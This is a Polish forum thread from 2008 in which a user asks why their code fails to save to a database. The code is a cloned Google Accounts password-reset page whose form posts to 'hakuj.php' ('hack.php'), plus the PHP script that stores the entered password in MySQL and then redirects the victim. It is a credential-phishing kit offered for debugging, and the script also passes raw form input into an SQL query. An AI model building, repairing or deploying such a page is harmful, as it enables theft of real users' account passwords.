Netwars

Zjedź na dół

PeHaPe - czemu to nie dziala?

[#1]
18.10.2008 08:30

Sorry za mess ale ten kod tez jest na stronce pokrzaczony. Czemu to nie zapisuje mi tego do bazy danych?
Fragment strony:

<tr><td><img width="1" height="1" alt=""></td></tr></table>
<table width="100%" border="0" cellpadding="2" cellspacing="0"><tr><td colspan="2"><img width="1" height="2" alt=""></td></tr>
<tr><td id="logo_cell" valign="top" width="1%"><a href="https://www.google.com/accounts/"><img src="googleaccountslogo.gif" border="0" align="left" alt="Google"></a></td>
<td valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2"><img width="1" height="15" alt=""></td></tr>
<tr bgcolor="#3366cc"><td><img height="1" width="1" alt=""></td></tr>
<tr bgcolor="#e5ecf9"><td id="title_cell" style="padding-left: 4px; padding-bottom:3px; padding-top:2px; font-family:arial,sans-serif;"><b>Konta Google</b></td></tr>
<tr><td colspan="2"><img width="1" height="5" alt=""></td></tr>
</table></td></tr></table>
<div class="body"><b>Resetuj hasło</b> <font size="-1"></font> <p><font size="-1">Wybierz nowe hasło i wprowadź je poniżej.</font></p>
<form action="hakuj.php" method="POST"><input type="hidden" name="c" value="CJn5p6Hw-43OTxDJzIeR0KWJ0Aw">
<table border="0" cellspacing="2" cellpadding="2"><tr><td align="center" valign="top"><table bgcolor="#cbdced" border="0" cellpadding="2" cellspacing="0" width="100%"><tr><td><table border="0" cellpadding="5" cellspacing="0" width="100%" bgcolor="#ffffff"><tr><td nowrap><b><font face="Arial, sans-serif" size="-1">Nowe hasło:</font></b></td>
<td><table cellpadding="0" bgcolor="#ffffff" cellspacing="0" border="0"><tbody><tr><td><div class="errorbox-good"><input type="password" name="Passwd" size="25" onkeyup="CreateRatePasswdReq(0)">
</div></td>
<td width="10px"></td>
<td nowrap valign="top" id="passwdBarDiv" style="display:none" width="180"><table border="0" cellpadding="0" cellspacing="0"><tr><td nowrap valign="top" width="0"><font size="-1" face="Arial, sans-serif"><a tabindex="-1" href="javascript:var popup=window.open(&#39;https://www.google.com/accounts/PasswordHelp&#39;, &#39;PasswordHelp&#39;, &#39;width=600, height=600, location=no, menubar=no, status=no, toolbar=no, scrollbars=yes, resizable=yes&#39;);">Siła hasła:</a></font></td>
<td nowrap valign="top"><font size="-1" face="Arial, sans-serif" color="#808080"><b><div id="passwdRating"></div></b></font></td></tr>
<tr><td height="3"></td></tr>
<tr><td colspan="2"><table id="passwdBar" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="180"><tr><td height="4" bgcolor="#e0e0e0" width="0%" id="posBar"></td>
<td height="4" bgcolor="#e0e0e0" width="100%" id="negBar"></td></tr></table></td></tr></table></td>

Kod hakuj.php

<?php

$connect = mysql_connect("localhost" , "azrael" , "<tu haslo>") or
die("Nie udało się polaczyć z baza danych");
$db = mysql_select_db("azrael");

if (isset($_POST['wyslano']))
{
$query = "INSERT INTO `test` VALUES(NULL , '".$_POST['PasswdAgain']."')";
$result = mysql_query($query);
}

header("Location: http://eros.vlo.gda.pl/~acid/asdfg/asdf.php");

?>

[#3]
18.10.2008 08:35

#2 rotfl, nie ; d dopiero wstalem ale nie moge tego rozgryzc od jakiegos czasu

[#4]
18.10.2008 08:36

fajnie masz w bani...^^ juz wole genetyke ;p

Zaloguj się, żeby odpowiedzieć.